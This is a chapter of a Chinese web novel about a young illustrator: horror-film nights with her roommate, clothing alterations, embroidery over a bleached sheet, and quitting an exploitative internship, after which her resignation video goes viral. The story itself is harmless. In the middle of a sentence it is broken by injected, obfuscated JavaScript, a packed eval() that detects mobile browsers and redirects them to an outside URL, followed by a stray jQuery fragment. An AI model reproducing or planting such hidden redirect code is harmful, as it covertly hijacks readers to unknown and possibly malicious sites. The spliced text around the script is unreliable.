16.第 16 章

作品:《写手那些事儿

    从小到大,我从来没有收过如此贵重的礼物。


    最贵重的还是我考上大学那年,大舅给我买了一台笔记本电脑,我用它来画画写小说,写出的小说成功签约了现在的网站,成为了一名没什么名气的作者。


    随着时代的发展,那个笔记本电脑在我大四快要毕业的时候被换掉了,但是我一直都留着它,因为那是我收到的第一份比较昂贵的礼物。


    现在这个镯子可以买五个笔记本电脑了,我戴在手上左看右看上看下看正面反面来回看,总感觉手腕沉甸甸的。


    回到家里之后,唐雨薇又开始看《致命弯道》,我本来在喝杨梅果汁来着,但是电影里的血浆实在太多了,看着看着,我对鲜红的杨梅汁生出了一种生理性的反感,赶紧跑去冰箱里拿了一瓶黄色的橙汁。


    第二天上班时我戴着那个金镯子去了,午休时女同事们闲聊,聊到我的金镯子时,我就随口说了一句,是朋友的妈妈给我买的。


    只是一句无心之言,结果午休快要结束之前,那个很自信的实习男生又来向我打听唐雨薇的消息。


    我发觉有些男性对美丽漂亮的女性特别的执着,如果这个美丽漂亮的年轻女性家境还特别不错的话,那就变成了双倍的执着。


    我有时候真的在认真怀疑这个很自信的实习男生是不是从来都不照镜子。


    我从小到大都听说哪家哪家的女人傍了大款攀了高枝,其实男人也挺喜欢傍大款攀高枝的,然而世人们对女人的这种行为给予鄙视,说她们虚荣;对男人的这种行为则给予鼓励,说他们有本事。


    唐雨薇是个写小说的,又不是什么扶贫大使。


    此男又说可以帮我做一些渲染任务,以此来换取唐雨薇的联系方式。


    我难道是什么很贱的人吗,拿自己现在的衣食父母来置换资源?


    下班之后我一直和唐雨薇吐槽,唐雨薇躺在瑜伽垫上掰腿,电视里又在放着一部新片子,我定睛一看,居然是《死神来了》。


    我把移动升降桌从唐雨薇的卧室转到了客厅里,一边码字一边看片。


    在我看来,《死神来了》这部片子是比其他的恐怖片要吓人很多的,因为生活中总是充满各种各样的巧合和意外,无法预测。


    看完咒怨那几天,唐雨薇发呆的时候再也不往本子上画圈上了。我则是把被子裹得更紧了,必须严丝合缝的贴在身上,不留任何一丝缝隙。


    我看完《死神来了》之后总觉得家里危机四伏,哪里都不能碰,从滴水的地砖到挂在墙上的吹风机,都充满了未知的危险。


    唐雨薇看完这些片子的后遗症这更加明显,比如她饿了,想吃一个面包,但她不敢使用微波炉(电影里有一个脸被微波炉烤熟的人),只能生啃。


    再比如她想洗个头,但是不敢用吹风机(电影里有一个被吹风机弄死的人),所以她一直裹着干发帽,为了让头发干得更快,她就在客厅里来回甩头。


    我从洗手间出来时,就看见一个一身白衣长发遮脸的女子在门前疯狂扭动,那一刻,我差点被吓得心脏骤停。


    我迸发出高分贝的尖叫:“啊啊啊唐雨薇你干嘛!你现在和电影里中邪的女主有什么区别!”


    唐雨薇站在我面前,拨开前面挡脸的长发,“没有吹风机,我只能人为甩干了。”


    “你怎么可以这样懦弱,看个电影连吹风机都不敢用了!”我一脸的恨铁不成钢,“你坐那儿,我给你吹。”


    唐雨薇坐在沙发上,我拿着吹风机给她吹头发。


    我是第一次给人吹头发,唐雨薇的头发十分的柔滑,像巧克力一样丝滑地淌过我的手掌。


    我一边给她吹头发一边吐槽:“这是什么睡裙啊,这个品牌是向现在的仙侠剧看齐,准备走丧葬风吗?”


    “这是无印良品的睡裙,可受欢迎了。”


    她对无印良品有一种迷之热爱,放假这天她又拉着我去逛无印良品,反复说着无印良品的做工有多么的细致,衣服的面料是多么的舒服,版型有多么多么的好。


    我应该是被她洗脑了,竟然也掏钱买了几件。


    唐雨薇买了一套可怕的明黄色衣裳,我考虑到日常和实用性,买了一件灰色的亚麻长袖连衣裙。


    我们俩喜滋滋地拎着两包新衣服回家了,那时也没有觉得任何不对。


    摘下吊牌,洗净烘干,我们美滋滋的穿上了新衣服,各自盘踞在沙发两头玩手机。


    这时候我们自我感觉十分良好,直到我去了一趟洗手间,在镜柜前看到了自己的模样。


    头发盘起,灰袍曳地,如果再加一个灰色小帽,就可以去甘露寺C位出家了。


    我恍恍惚惚走出去,一眼看到坐在沙发上玩手机的唐雨薇。


    她穿着那件宽松休闲的黄色长袖连衣裙,裙摆已经盖过了脚踝,那种黄真的很特殊,和少林寺修行的和尚身上穿的衣服一个颜色。


    当我说出这一点后,唐雨薇扯着裙摆看了一会儿,也沉默了。


    我们俩沉默地盘踞在沙发两头。


    一个像尼姑,一个像方丈。


    我还买了一件灰蓝色条纹的睡衣,我当时在店里摸料子的时候,觉得这衣服特别舒适,条纹也不错,特别的休闲居家。


    我穿上后往床上一躺,唐雨薇看了我一眼,忽然发出了嘎嘎嘎的鹅叫。


    “啊哈哈哈哈怎么好像疯人院里跑出来的病号啊!”她穿着方丈服,笑得直不起来腰,“啊哈哈哈你还说我,学美术的审美也不怎么样嘛!”


    我怒从心起,恶胆边生,拿起放在椅子上的红毯子就给她批上了。


    这回我们俩都笑个不停,唐雨薇挥舞着“袈裟”,把我的脑袋按进她的袈裟里了。


    唐雨薇又穿上了其他的无印良品的衣服,一边照镜子,一边对我说道:“这衣服让人感觉我很久没有性生活的样子。”


    我又开始笑了。


    晚上睡觉的时候,我下单了一个小型的缝纫机,我选修过服装工艺课程,会一点缝纫,虽然和专业的服装设计同学没法比,但小小的改造一下衣裳不成问题。


    我把蓝色条纹睡衣的翻领给去掉了,改成了圆领,扣子也摘掉,换成了饱和度稍低一些的马卡龙蓝纽扣。换完纽扣之后,这套睡衣已经不那么像病号服了,我又在前胸的位置绣了一朵粉色的绒花。


    改造之后这套睡衣变得非常小清新,唐雨薇让我帮她的方丈服改头换面。


    这件衣服的改造还是稍微有点难度的,我只能选择先增加露肤度,把肩颈那一块都露出来。


    将方丈服的翻领去掉,改成了稍微有点大的圆领口,把扣子也换掉,换上了几颗花朵形状的奶黄色纽扣。


    虽然还有一种挥之不去的和尚感,但比原来的样子好多了,唐雨薇穿的也很开心。


    买的那台缝纫机发挥了很大的用处,给唐雨薇的粉色毛呢大衣缝好了破损的拉链,将穿腻了的旧衣服做了一些时尚小改造,给被套里缝过固定绳,还缝好了从宜家买来的单片窗帘。


    有一次唐雨薇把漂白液当成了彩漂液倒在了床单上,漂白液粘到的地方,浅灰色的床单立刻褪色了。


    唐雨薇要把斑驳的床单扔掉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166911|180343||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,我特别心痛。


    这套床品是120支的高支棉,一套差不多花了3000多,我说还能再补救补救,想了半天,在褪色的地方绣了好多的花花草草。


    绣花的手法都是非常浅显基本的绣工,我读服装工艺选修课的时候,借过同学的刺绣书看,那本书叫《樋口愉美子的刺绣时间》,里面会教一些比较基础的刺绣手法。


    像苏绣这种特别专业特别复杂的我是弄不了,一般的刺绣我还是能够轻松解决的,我又是美术生,懂构图,懂色彩,这些可以稍微弥补一下我在刺绣方面的不足。


    我又买了好多好多很贵的丝线,先用颜色不一的绿色绒线绣出草地,然后在草地上绣出绒线花朵。


    于是被漂白液弄褪色的地方,出现了一个热闹的小花园。


    唐雨薇看的叹为观止。


    她就双手捧脸的看着我,我的虚荣心得到了极大的满足。


    不知不觉中,我已经上了两个月的班,实习工资发下来的第二天,小夏扔下一封辞职信就走了。


    她实在受不了朱涛和发霉的茄子女士对我们的压榨,“上班的第二个月我已经去了三次医院,赚的钱都不够看病的,薇薇你珍重吧。”


    我看着绿泡泡里小夏发来的消息陷入沉思。


    小夏辞职后,属于她的一部分工作自然是交给了我这个同样苦命的实习生。


    我去找总监,“工作量太多了,我一个人实在是做不完啊。”


    总监坐在办公椅上,语重心长:“你这个年纪正是打拼的时候,这时候不拼啥时候拼,现在就业形势多么严峻,多少毕业生找不到工作,这全部都是因为学校里学出来的知识无法应用到实际工作中,你多工作就是多学习,大家都是从这个时候过来的,你表现好,就能得到转正的机会.......”


    他又说了一长串,我已经不记得了,我浑浑噩噩地上了一天的班,做了一天的渲染。


    这个时候也没有想过要辞职,可能是因为我潜意识里觉得人活着就是要承受痛苦。


    真正让我决定辞职的是公司发奖金了,但没有我的份。


    上个月大家都在加班,通宵加点的干,我们这帮实习生也是如此。


    可能有人会觉得一个实习生凭什么要奖金啊,可我干的活比那些员工都多啊。


    而且我该学的都学会了。


    转正没消息,奖金也没有我的份,总监天天对我pua,各种服从性测试,水深火热熬到发工资那天,一看到手的工资只有3500。


    我快要碎了。


    我去辞职了。


    我深知总监的pua话术,辞职的时候特意打开了手机的录像功能,还揣了一只唐雨薇的录音笔。


    意料之中的,我遭到了总裁的恐吓,这个狗玩意儿说什么这个业务已经交到了我手里,如果我完不成,耽误了甲方的进度就要我赔钱,把我告到法庭。


    我把总监大骂了一顿。


    我骂的很脏,把他祖宗十八代都骂了一边,整个办公室都回荡着我的骂声。


    总监PUA别人习惯了,大概是从没挨过骂,一时间傻在当场。


    我还顺便骂了发霉的茄子和朱涛,从容貌到身材,各方面都侮辱了一遍。


    随后我扬长而去,把辞职视频发到了网上。


    意料之外的是——我的视频居然大火了。


    它居然登上了各大网站的热搜!


    一夜之间,我那个画画的账号涨了6万多的粉丝,许多人来找我约稿。


    真是四年画画无人识,一朝辞职天下知。